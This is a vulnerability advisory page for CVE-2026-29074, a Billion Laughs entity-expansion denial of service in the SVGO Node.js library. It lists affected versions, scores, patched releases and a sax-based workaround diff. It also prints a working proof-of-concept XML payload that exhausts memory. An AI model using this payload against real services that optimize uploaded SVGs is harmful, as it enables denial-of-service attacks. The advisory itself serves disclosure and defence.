CVE-2026-29074
JSON

7.5high

SVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)

Severity
7.5high CVSS:3.1 by GitHub_M
Exploit likelihood
0.72% (higher than 55% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-xpqw-6gx7-v673

Description

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.

Affected

Product or packageVersionsReported by
svg svgo>= 2.1.0, < 2.8.1, >= 3.0.0, < 3.3.3, = 4.0.0CVE List
automation-gatewayNot specified
Not affected: from 0:2.5.20260422-2.el8ap before *, from 0:2.5.20260422-2.el9ap before *
CVE List
automation-platform-uiNot specified
Not affected: from 0:2.6.7-1.el9ap before *
CVE List
advanced-cluster-security/rhacs-main-rhel8Not specified
Not affected: from 1775594119 before *
CVE List
ansible-automation-platform-25/lightspeed-rhel8Not specified
Not affected: from 1777403872 before *
CVE List
ansible-automation-platform-26/lightspeed-rhel9Not specified
Not affected: from 1777387242 before *
CVE List
ansible-automation-platform-26/gateway-rhel9Not specified
Not affected: from 1774243862 before *
CVE List
rhdh/rhdh-hub-rhel9Not specified
Not affected: from 1776784286 before *, from 1777903262 before *
CVE List
rhoai/odh-dashboard-rhel8Not specified
Not affected: from 1774282136 before *
CVE List
rhoai/odh-dashboard-rhel9Not specified
Not affected: from 1780467029 before *, from 1779189627 before *
CVE List
rhoai/odh-mod-arch-model-registry-rhel9Not specified
Not affected: from 1780467147 before *, from 1778666987 before *
CVE List
rhoai/odh-mod-arch-gen-ai-rhel9Not specified
Not affected: from 1778473763 before *
CVE List

All scores

GitHub_M7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
redhat-SADP7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Classification

CWE-776

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.

GitHub Advisory Database
Summary

SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.

Details

The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.

However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.

Proof of Concept
import { optimize } from 'svgo';

/** Presume that this string was obtained in some other way, such as network. */
const original = `
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  ]>
  <lolz>&lol9;</lolz>
`;

optimize(original);
Impact

If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.

It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.

Patches

SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.

Workarounds
== 4.0.0

For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:

For example:

yarn up -R sax

New options were introduced upstream which makes the way SVGO parses SVGs safe by default.

>= 2.1.0, <= 3.3.2

Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.

Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.

+ import SAX from 'sax';
  import { optimize } from 'svgo';

- const original =`
+ let original = `
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
  `;

+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype = (doctype) => {
+   original = original.replace(doctype, '');
+ }
+ parser.write(original);

  optimize(original);
Resources
NVD (es)

SVGO, abreviatura de SVG Optimizer, es una librería de Node.js y una aplicación de línea de comandos para optimizar archivos SVG. Desde la versión 2.1.0 hasta antes de la versión 2.8.1, desde la versión 3.0.0 hasta antes de la versión 3.3.3, y antes de la versión 4.0.1, SVGO acepta XML con entidades personalizadas, sin protecciones contra la expansión o recursión de entidades. Esto puede resultar en que un archivo XML pequeño (811 bytes) bloquee la aplicación e incluso colapse el proceso de Node.js con agotamiento de memoria del heap de JavaScript. Este problema ha sido corregido en las versiones 2.8.1, 3.3.3 y 4.0.1.

References

https://github.com/svg/svgo/security/advisories/GHSA-xpqw-6gx7-v673exploit, mitigation, vendor-advisory, web
https://access.redhat.com/security/cve/CVE-2026-29074vdb-entry
https://bugzilla.redhat.com/show_bug.cgi?id=2445132issue-tracking
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29074.json
https://access.redhat.com/errata/RHSA-2026:13512vendor-advisory
https://access.redhat.com/errata/RHSA-2026:6277vendor-advisory
https://access.redhat.com/errata/RHSA-2026:7110vendor-advisory
https://access.redhat.com/errata/RHSA-2026:13553vendor-advisory
https://access.redhat.com/errata/RHSA-2026:6309vendor-advisory
https://access.redhat.com/errata/RHSA-2026:13545vendor-advisory
https://access.redhat.com/errata/RHSA-2026:9742vendor-advisory
https://access.redhat.com/errata/RHSA-2026:13826vendor-advisory

Sources

SourceRecordLicence
CVE ListCVE-2026-29074 changed 2026-09-10CVE Terms of Use
GitHub Advisory DatabaseGHSA-xpqw-6gx7-v673 changed 2026-09-10CC-BY-4.0
NVDCVE-2026-29074 changed 2026-09-10Public domain